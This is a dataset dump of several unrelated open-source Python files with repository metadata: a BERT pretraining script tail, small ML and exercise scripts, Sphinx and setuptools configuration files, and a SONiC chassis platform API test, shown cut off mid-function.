params["batch_size"] name_to_features = { "input_ids": tf.FixedLenFeature([max_seq_length], tf.int64), "input_mask": tf.FixedLenFeature([max_seq_length], tf.int64), "segment_ids": tf.FixedLenFeature([max_seq_length], tf.int64), "masked_lm_positions": tf.FixedLenFeature([max_predictions_per_seq], tf.int64), "masked_lm_ids": tf.FixedLenFeature([max_predictions_per_seq], tf.int64), "masked_lm_weights": tf.FixedLenFeature([max_predictions_per_seq], tf.float32), "next_sentence_labels": tf.FixedLenFeature([1], tf.int64), } if is_training: d = tf.data.Dataset.from_tensor_slices(tf.constant(input_files)) d = d.repeat() d = d.shuffle(buffer_size=len(input_files)) # `cycle_length` is the number of parallel files that get read. cycle_length = min(num_cpu_threads, len(input_files)) # `sloppy` mode means that the interleaving is not exact. This adds # even more randomness to the training pipeline. d = d.apply( tf.contrib.data.parallel_interleave( tf.data.TFRecordDataset, sloppy=is_training, cycle_length=cycle_length)) d = d.shuffle(buffer_size=100) else: d = tf.data.TFRecordDataset(input_files) # Since we evaluate for a fixed number of steps we don't want to encounter d = d.repeat() # every sample. d = d.apply( tf.contrib.data.map_and_batch( lambda record: _decode_record(record, name_to_features), batch_size=batch_size, num_parallel_batches=num_cpu_threads, drop_remainder=True)) return d return input_fn def _decode_record(record, name_to_features): example = tf.parse_single_example(record, name_to_features) # tf.Example only supports tf.int64, but the TPU only supports tf.int32. # So cast all int64 to int32. for name in list(example.keys()): t = example[name] if t.dtype == tf.int64: t = tf.to_int32(t) example[name] = t return example def main(_): tf.logging.set_verbosity(tf.logging.INFO) if not FLAGS.do_train and not FLAGS.do_eval: raise ValueError("At least one of `do_train` or `do_eval` must be True.") bert_config = modeling.BertConfig.from_json_file(FLAGS.bert_config_file) tf.gfile.MakeDirs(FLAGS.output_dir) input_files = [] for input_pattern in FLAGS.input_file.split(","): input_files.extend(tf.gfile.Glob(input_pattern)) tf.logging.info("*** Input Files ***") for input_file in input_files: tf.logging.info(" %s" % input_file) tpu_cluster_resolver = None if FLAGS.use_tpu and FLAGS.tpu_name: tpu_cluster_resolver = tf.contrib.cluster_resolver.TPUClusterResolver( FLAGS.tpu_name, zone=FLAGS.tpu_zone, project=FLAGS.gcp_project) is_per_host = tf.contrib.tpu.InputPipelineConfig.PER_HOST_V2 run_config = tf.contrib.tpu.RunConfig( cluster=tpu_cluster_resolver, master=FLAGS.master, model_dir=FLAGS.output_dir, save_checkpoints_steps=FLAGS.save_checkpoints_steps, keep_checkpoint_max=20, tpu_config=tf.contrib.tpu.TPUConfig( iterations_per_loop=FLAGS.iterations_per_loop, num_shards=FLAGS.num_tpu_cores, per_host_input_for_training=is_per_host)) model_fn = model_fn_builder( bert_config=bert_config, init_checkpoint=FLAGS.init_checkpoint, learning_rate=FLAGS.learning_rate, num_train_steps=FLAGS.num_train_steps, num_warmup_steps=FLAGS.num_warmup_steps, use_tpu=FLAGS.use_tpu, use_one_hot_embeddings=FLAGS.use_tpu) # If TPU is not available, this will fall back to normal Estimator on CPU # or GPU. estimator = tf.contrib.tpu.TPUEstimator( use_tpu=FLAGS.use_tpu, model_fn=model_fn, config=run_config, train_batch_size=FLAGS.train_batch_size, eval_batch_size=FLAGS.eval_batch_size) if FLAGS.do_train: tf.logging.info("***** Running training *****") tf.logging.info(" Batch size = %d", FLAGS.train_batch_size) train_input_fn = input_fn_builder( input_files=input_files, max_seq_length=FLAGS.max_seq_length, max_predictions_per_seq=FLAGS.max_predictions_per_seq, is_training=True) estimator.train(input_fn=train_input_fn, max_steps=FLAGS.num_train_steps) if FLAGS.do_eval: tf.logging.info("***** Running evaluation *****") tf.logging.info(" Batch size = %d", FLAGS.eval_batch_size) eval_input_fn = input_fn_builder( input_files=input_files, max_seq_length=FLAGS.max_seq_length, max_predictions_per_seq=FLAGS.max_predictions_per_seq, is_training=False) result = estimator.evaluate( input_fn=eval_input_fn, steps=FLAGS.max_eval_steps) output_eval_file = os.path.join(FLAGS.output_dir, "eval_results.txt") with tf.gfile.GFile(output_eval_file, "w") as writer: tf.logging.info("***** Eval results *****") for key in sorted(result.keys()): tf.logging.info(" %s = %s", key, str(result[key])) writer.write("%s = %s\n" % (key, str(result[key]))) if __name__ == "__main__": flags.mark_flag_as_required("input_file") flags.mark_flag_as_required("bert_config_file") flags.mark_flag_as_required("output_dir") tf.app.run()

true

f70505938a0336b31ecf199133d778d0e94de7ec

514

py

Python

set3/p3_4.py

Felpezs/IPL_2021

eaef2baec96f16c1486f4ec5af6eff097f81fcd2

[ "MIT" ]

1

2021-07-08T19:28:06.000Z

set3/p3_4.py

Felpezs/IPL_2021

eaef2baec96f16c1486f4ec5af6eff097f81fcd2

[ "MIT" ]

null

set3/p3_4.py

Felpezs/IPL_2021

eaef2baec96f16c1486f4ec5af6eff097f81fcd2

[ "MIT" ]

null

def lend_money(debts, person, amount): value = debts.get(person, 0) quantity = [amount] if value != 0: debts[person] = value + quantity else: debts[person] = quantity print(debts) def amount_owed_by(debts, person): value = debts.get(person, [0]) out = sum(value) return out def total_amount_owed(debts): my_money = 0 for values in debts.values(): for numbers in values: my_money += numbers return my_money

21.416667

41

0.583658

def lend_money(debts, person, amount): value = debts.get(person, 0) quantity = [amount] if value != 0: debts[person] = value + quantity else: debts[person] = quantity print(debts) def amount_owed_by(debts, person): value = debts.get(person, [0]) out = sum(value) return out def total_amount_owed(debts): my_money = 0 for values in debts.values(): for numbers in values: my_money += numbers return my_money

true

f705065a635806e4fe8266665d0d44bcb7dfdec4

914

py

Python

scratchML/examples/linear_discriminant_analysis.py

TimS-ml/Scratch-ML

0ea010e2b7ead5f98ba9a0db621cc7d7471e97af

[ "MIT" ]

4

2021-09-18T23:52:10.000Z

2021-09-25T04:04:10.000Z

scratchML/examples/linear_discriminant_analysis.py

TimS-ml/My-ML-From-Scratch

0ea010e2b7ead5f98ba9a0db621cc7d7471e97af

[ "MIT" ]

null

scratchML/examples/linear_discriminant_analysis.py

TimS-ml/My-ML-From-Scratch

0ea010e2b7ead5f98ba9a0db621cc7d7471e97af

[ "MIT" ]

null

from __future__ import print_function from sklearn import datasets import matplotlib.pyplot as plt import numpy as np from scratchML.supervised_learning import LDA from scratchML.utils import calculate_covariance_matrix, accuracy_score from scratchML.utils import normalize, standardize, train_test_split, Plot from scratchML.unsupervised_learning import PCA def main(): # Load the dataset data = datasets.load_iris() X = data.data y = data.target # Three -> two classes X = X[y != 2] y = y[y != 2] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33) # Fit and predict using LDA lda = LDA() lda.fit(X_train, y_train) y_pred = lda.predict(X_test) accuracy = accuracy_score(y_test, y_pred) print("Accuracy:", accuracy) Plot().plot_in_2d(X_test, y_pred, title="LDA", accuracy=accuracy) if __name__ == "__main__": main()

24.052632

77

0.712254

from __future__ import print_function from sklearn import datasets import matplotlib.pyplot as plt import numpy as np from scratchML.supervised_learning import LDA from scratchML.utils import calculate_covariance_matrix, accuracy_score from scratchML.utils import normalize, standardize, train_test_split, Plot from scratchML.unsupervised_learning import PCA def main(): data = datasets.load_iris() X = data.data y = data.target X = X[y != 2] y = y[y != 2] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33) lda = LDA() lda.fit(X_train, y_train) y_pred = lda.predict(X_test) accuracy = accuracy_score(y_test, y_pred) print("Accuracy:", accuracy) Plot().plot_in_2d(X_test, y_pred, title="LDA", accuracy=accuracy) if __name__ == "__main__": main()

true

f70506c4e20561258cf4dc497d8803a8bee3c74e

1,046

py

Python

python_modules/libraries/dagster-papertrail/setup.py

bitdotioinc/dagster

4fe395a37b206b1a48b956fa5dd72bf698104cca

[ "Apache-2.0" ]

2

2021-06-21T17:50:26.000Z

2021-06-21T19:14:23.000Z

python_modules/libraries/dagster-papertrail/setup.py

bitdotioinc/dagster

4fe395a37b206b1a48b956fa5dd72bf698104cca

[ "Apache-2.0" ]

7

2022-03-16T06:55:04.000Z

2022-03-18T07:03:25.000Z

python_modules/libraries/dagster-papertrail/setup.py

bitdotioinc/dagster

4fe395a37b206b1a48b956fa5dd72bf698104cca

[ "Apache-2.0" ]

1

2021-08-18T17:21:57.000Z

from setuptools import find_packages, setup def get_version(): version = {} with open("dagster_papertrail/version.py") as fp: exec(fp.read(), version) # pylint: disable=W0122 return version["__version__"] if __name__ == "__main__": setup( name="dagster-papertrail", version=get_version(), author="Elementl", author_email="hello@elementl.com", license="Apache-2.0", description="Package for papertrail Dagster framework components.", url="https://github.com/dagster-io/dagster/tree/master/python_modules/libraries/dagster-papertrail", classifiers=[ "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "License :: OSI Approved :: Apache Software License", "Operating System :: OS Independent", ], packages=find_packages(exclude=["test"]), install_requires=["dagster"], zip_safe=False, )

32.6875

108

0.614723

from setuptools import find_packages, setup def get_version(): version = {} with open("dagster_papertrail/version.py") as fp: exec(fp.read(), version) return version["__version__"] if __name__ == "__main__": setup( name="dagster-papertrail", version=get_version(), author="Elementl", author_email="hello@elementl.com", license="Apache-2.0", description="Package for papertrail Dagster framework components.", url="https://github.com/dagster-io/dagster/tree/master/python_modules/libraries/dagster-papertrail", classifiers=[ "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "License :: OSI Approved :: Apache Software License", "Operating System :: OS Independent", ], packages=find_packages(exclude=["test"]), install_requires=["dagster"], zip_safe=False, )

true

f70507b2d08d3c940b4529557fed1acefff47752

7,835

py

Python

docs/conf.py

lcd1232/django-ratelimit2

417c677bea537304e48a0015d07902209a2e905a

[ "Apache-2.0" ]

null

docs/conf.py

lcd1232/django-ratelimit2

417c677bea537304e48a0015d07902209a2e905a

[ "Apache-2.0" ]

null

docs/conf.py

lcd1232/django-ratelimit2

417c677bea537304e48a0015d07902209a2e905a

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # # Django Ratelimit documentation build configuration file, created by # sphinx-quickstart on Fri Jan 4 15:55:31 2013. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Django Ratelimit' copyright = u'2014, James Socol' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '1.0' # The full version, including alpha/beta/rc tags. release = '1.0.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' highlight_language = 'python' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'DjangoRatelimitdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'DjangoRatelimit.tex', u'Django Ratelimit Documentation', u'James Socol', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'djangoratelimit', u'Django Ratelimit Documentation', [u'James Socol'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'DjangoRatelimit', u'Django Ratelimit Documentation', u'James Socol', 'DjangoRatelimit', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote'

32.110656

80

0.716273

import sys, os extensions = [] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = u'Django Ratelimit' copyright = u'2014, James Socol' # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '1.0' # The full version, including alpha/beta/rc tags. release = '1.0.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' highlight_language = 'python' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'DjangoRatelimitdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'DjangoRatelimit.tex', u'Django Ratelimit Documentation', u'James Socol', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'djangoratelimit', u'Django Ratelimit Documentation', [u'James Socol'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'DjangoRatelimit', u'Django Ratelimit Documentation', u'James Socol', 'DjangoRatelimit', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote'

true

f705081a5da8e010e9ba2f98abb883270d65219a

2,122

py

Python

setup.py

powderflask/django_assess

cff25c0544a57ed9d7ddb3db3543268e51394875

[ "MIT" ]

null

setup.py

powderflask/django_assess

cff25c0544a57ed9d7ddb3db3543268e51394875

[ "MIT" ]

null

setup.py

powderflask/django_assess

cff25c0544a57ed9d7ddb3db3543268e51394875

[ "MIT" ]

null

import sys, os, re from setuptools import setup, Command, find_packages from setuptools.command.test import test class CleanCommand(Command): """Custom clean command to tidy up the project root.""" user_options = [] def initialize_options(self): pass def finalize_options(self): pass def run(self): os.system('rm -vrf ./*.pyc ./*.egg-info') def run_tests(*args): from assessment.tests import run_tests errors = run_tests() if errors: sys.exit(1) else: sys.exit(0) test.run_tests = run_tests NAME = "django-assess" # get version without importing with open("assessment/__init__.py", "rb") as f: VERSION = str(re.search('__version__ = "(.+?)"', f.read().decode()).group(1)) # pull requirements with open('requirements.txt', "r") as f: INSTALL_REQUIREMENTS = f.read().splitlines() setup( name=NAME, version=VERSION, packages=find_packages(include=['assessment', 'assessment.*']), python_requires='>=3.5, <4', install_requires = INSTALL_REQUIREMENTS + [ 'setuptools-git', # apparently needed to handle include_package_data from git repo? ], license="MIT", include_package_data=True, # declarations in MANIFEST.in description=("Basic custom assessments as a reusable django app."), long_description=open("README.rst").read(), long_description_content_type="text/x-rst", author="powderflask", author_email="powderflask@gmail.com", maintainer="powderflask", maintainer_email="powderflask@gmail.com", url="https://github.com/powderflask/django_assess", download_url="https://github.com/powderflask/django_assess/archive/v{}.tar.gz".format(VERSION), classifiers=[ 'Development Status :: 4 - Beta', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 3', 'Framework :: Django', ], cmdclass={ 'clean' : CleanCommand, }, test_suite="dummy", )

29.472222

99

0.655985

import sys, os, re from setuptools import setup, Command, find_packages from setuptools.command.test import test class CleanCommand(Command): user_options = [] def initialize_options(self): pass def finalize_options(self): pass def run(self): os.system('rm -vrf ./*.pyc ./*.egg-info') def run_tests(*args): from assessment.tests import run_tests errors = run_tests() if errors: sys.exit(1) else: sys.exit(0) test.run_tests = run_tests NAME = "django-assess" with open("assessment/__init__.py", "rb") as f: VERSION = str(re.search('__version__ = "(.+?)"', f.read().decode()).group(1)) with open('requirements.txt', "r") as f: INSTALL_REQUIREMENTS = f.read().splitlines() setup( name=NAME, version=VERSION, packages=find_packages(include=['assessment', 'assessment.*']), python_requires='>=3.5, <4', install_requires = INSTALL_REQUIREMENTS + [ 'setuptools-git', ], license="MIT", include_package_data=True, description=("Basic custom assessments as a reusable django app."), long_description=open("README.rst").read(), long_description_content_type="text/x-rst", author="powderflask", author_email="powderflask@gmail.com", maintainer="powderflask", maintainer_email="powderflask@gmail.com", url="https://github.com/powderflask/django_assess", download_url="https://github.com/powderflask/django_assess/archive/v{}.tar.gz".format(VERSION), classifiers=[ 'Development Status :: 4 - Beta', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 3', 'Framework :: Django', ], cmdclass={ 'clean' : CleanCommand, }, test_suite="dummy", )

true

f705083b28a464c87e5ea58fd371f06a46d09124

16,794

py

Python

tests/platform_tests/api/test_chassis.py

vdahiya12/sonic-mgmt

f785cd0bd07f8d2deb0b4bab16feb64f2eeba054

[ "Apache-2.0" ]

null

tests/platform_tests/api/test_chassis.py

vdahiya12/sonic-mgmt

f785cd0bd07f8d2deb0b4bab16feb64f2eeba054

[ "Apache-2.0" ]

null

tests/platform_tests/api/test_chassis.py

vdahiya12/sonic-mgmt

f785cd0bd07f8d2deb0b4bab16feb64f2eeba054

[ "Apache-2.0" ]

null

import logging import re import pytest import yaml from tests.common.helpers.assertions import pytest_assert from tests.common.helpers.platform_api import chassis from platform_api_test_base import PlatformApiTestBase logger = logging.getLogger(__name__) pytestmark = [ pytest.mark.disable_loganalyzer, # disable automatic loganalyzer pytest.mark.topology('any') ] REGEX_MAC_ADDRESS = r'^([0-9A-Fa-f]{2}:){5}([0-9A-Fa-f]{2})$' REGEX_SERIAL_NUMBER = r'^[A-Za-z0-9]+$' # Valid OCP ONIE TlvInfo EEPROM type codes as defined here: # https://opencomputeproject.github.io/onie/design-spec/hw_requirements.html ONIE_TLVINFO_TYPE_CODE_PRODUCT_NAME = '0x21' # Product Name ONIE_TLVINFO_TYPE_CODE_PART_NUMBER = '0x22' # Part Number ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER = '0x23' # Serial Number ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR = '0x24' # Base MAC Address ONIE_TLVINFO_TYPE_CODE_MFR_DATE = '0x25' # Manufacture Date ONIE_TLVINFO_TYPE_CODE_DEVICE_VERSION = '0x26' # Device Version ONIE_TLVINFO_TYPE_CODE_LABEL_REVISION = '0x27' # Label Revision ONIE_TLVINFO_TYPE_CODE_PLATFORM_NAME = '0x28' # Platform Name ONIE_TLVINFO_TYPE_CODE_ONIE_VERSION = '0x29' # ONIE Version ONIE_TLVINFO_TYPE_CODE_NUM_MACS = '0x2A' # Number of MAC Addresses ONIE_TLVINFO_TYPE_CODE_MANUFACTURER = '0x2B' # Manufacturer ONIE_TLVINFO_TYPE_CODE_COUNTRY_CODE = '0x2C' # Country Code ONIE_TLVINFO_TYPE_CODE_VENDOR = '0x2D' # Vendor ONIE_TLVINFO_TYPE_CODE_DIAG_VERSION = '0x2E' # Diag Version ONIE_TLVINFO_TYPE_CODE_SERVICE_TAG = '0x2F' # Service Tag ONIE_TLVINFO_TYPE_CODE_VENDOR_EXT = '0xFD' # Vendor Extension ONIE_TLVINFO_TYPE_CODE_CRC32 = '0xFE' # CRC-32 class TestChassisApi(PlatformApiTestBase): ''' Platform API test cases for the Chassis class''' # # Functions to test methods inherited from DeviceBase class # def test_get_name(self, duthost, localhost, platform_api_conn): name = chassis.get_name(platform_api_conn) pytest_assert(name is not None, "Unable to retrieve chassis name") pytest_assert(isinstance(name, str), "Chassis name appears incorrect") def test_get_presence(self, duthost, localhost, platform_api_conn): presence = chassis.get_presence(platform_api_conn) pytest_assert(presence is not None, "Unable to retrieve chassis presence") pytest_assert(isinstance(presence, bool), "Chassis presence appears incorrect") # Chassis should always be present pytest_assert(presence is True, "Chassis is not present") def test_get_model(self, duthost, localhost, platform_api_conn): model = chassis.get_model(platform_api_conn) pytest_assert(model is not None, "Unable to retrieve chassis model") pytest_assert(isinstance(model, str), "Chassis model appears incorrect") def test_get_serial(self, duthost, localhost, platform_api_conn): serial = chassis.get_serial(platform_api_conn) pytest_assert(serial is not None, "Unable to retrieve chassis serial number") pytest_assert(isinstance(serial, str), "Chassis serial number appears incorrect") def test_get_status(self, duthost, localhost, platform_api_conn): status = chassis.get_status(platform_api_conn) pytest_assert(status is not None, "Unable to retrieve chassis status") pytest_assert(isinstance(status, bool), "Chassis status appears incorrect") # # Functions to test methods defined in ChassisBase class # def test_get_base_mac(self, duthost, localhost, platform_api_conn): # Ensure the base MAC address is sane base_mac = chassis.get_base_mac(platform_api_conn) pytest_assert(base_mac is not None, "Failed to retrieve base MAC address") pytest_assert(re.match(REGEX_MAC_ADDRESS, base_mac), "Base MAC address appears to be incorrect") if 'base_mac' in duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars: expected_base_mac = duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars['base_mac'] pytest_assert(base_mac == expected_base_mac, "Base MAC address is incorrect") else: logger.warning('Inventory file does not contain base MAC address for {}'.format(duthost.hostname)) def test_get_serial_number(self, duthost, localhost, platform_api_conn): # Ensure the serial number is sane # Note: It appears that when retrieving some variable-length fields, # the value is padded with trailing '\x00' bytes because the field # length is longer than the actual value, so we strip those bytes # here before comparing. We may want to change the EEPROM parsing # logic to ensure that trailing '\x00' bytes are removed when retreiving # a variable-length value. serial = chassis.get_serial_number(platform_api_conn).rstrip('\x00') pytest_assert(serial is not None, "Failed to retrieve serial number") pytest_assert(re.match(REGEX_SERIAL_NUMBER, serial), "Serial number appears to be incorrect") if 'serial' in duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars: expected_serial = duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars['serial'] pytest_assert(serial == expected_serial, "Serial number is incorrect") else: logger.warning('Inventory file does not contain serial number for {}'.format(duthost.hostname)) def test_get_system_eeprom_info(self, duthost, localhost, platform_api_conn): ''' Test that we can retrieve sane system EEPROM info from the DUT via the platform API ''' # OCP ONIE TlvInfo EEPROM type codes defined here: https://opencomputeproject.github.io/onie/design-spec/hw_requirements.html VALID_ONIE_TLVINFO_TYPE_CODES_LIST = [ ONIE_TLVINFO_TYPE_CODE_PRODUCT_NAME, ONIE_TLVINFO_TYPE_CODE_PART_NUMBER, ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER, ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR, ONIE_TLVINFO_TYPE_CODE_MFR_DATE, ONIE_TLVINFO_TYPE_CODE_DEVICE_VERSION, ONIE_TLVINFO_TYPE_CODE_LABEL_REVISION, ONIE_TLVINFO_TYPE_CODE_PLATFORM_NAME, ONIE_TLVINFO_TYPE_CODE_ONIE_VERSION, ONIE_TLVINFO_TYPE_CODE_NUM_MACS, ONIE_TLVINFO_TYPE_CODE_MANUFACTURER, ONIE_TLVINFO_TYPE_CODE_COUNTRY_CODE, ONIE_TLVINFO_TYPE_CODE_VENDOR, ONIE_TLVINFO_TYPE_CODE_DIAG_VERSION, ONIE_TLVINFO_TYPE_CODE_SERVICE_TAG, ONIE_TLVINFO_TYPE_CODE_VENDOR_EXT, ONIE_TLVINFO_TYPE_CODE_CRC32 ] MINIMUM_REQUIRED_TYPE_CODES_LIST = [ ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER, ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR, ONIE_TLVINFO_TYPE_CODE_CRC32 ] syseeprom_info_dict = chassis.get_system_eeprom_info(platform_api_conn) pytest_assert(syseeprom_info_dict is not None, "Failed to retrieve system EEPROM data") pytest_assert(isinstance(syseeprom_info_dict, dict), "System EEPROM data is not in the expected format") syseeprom_type_codes_list = syseeprom_info_dict.keys() # Ensure that all keys in the resulting dictionary are valid ONIE TlvInfo type codes 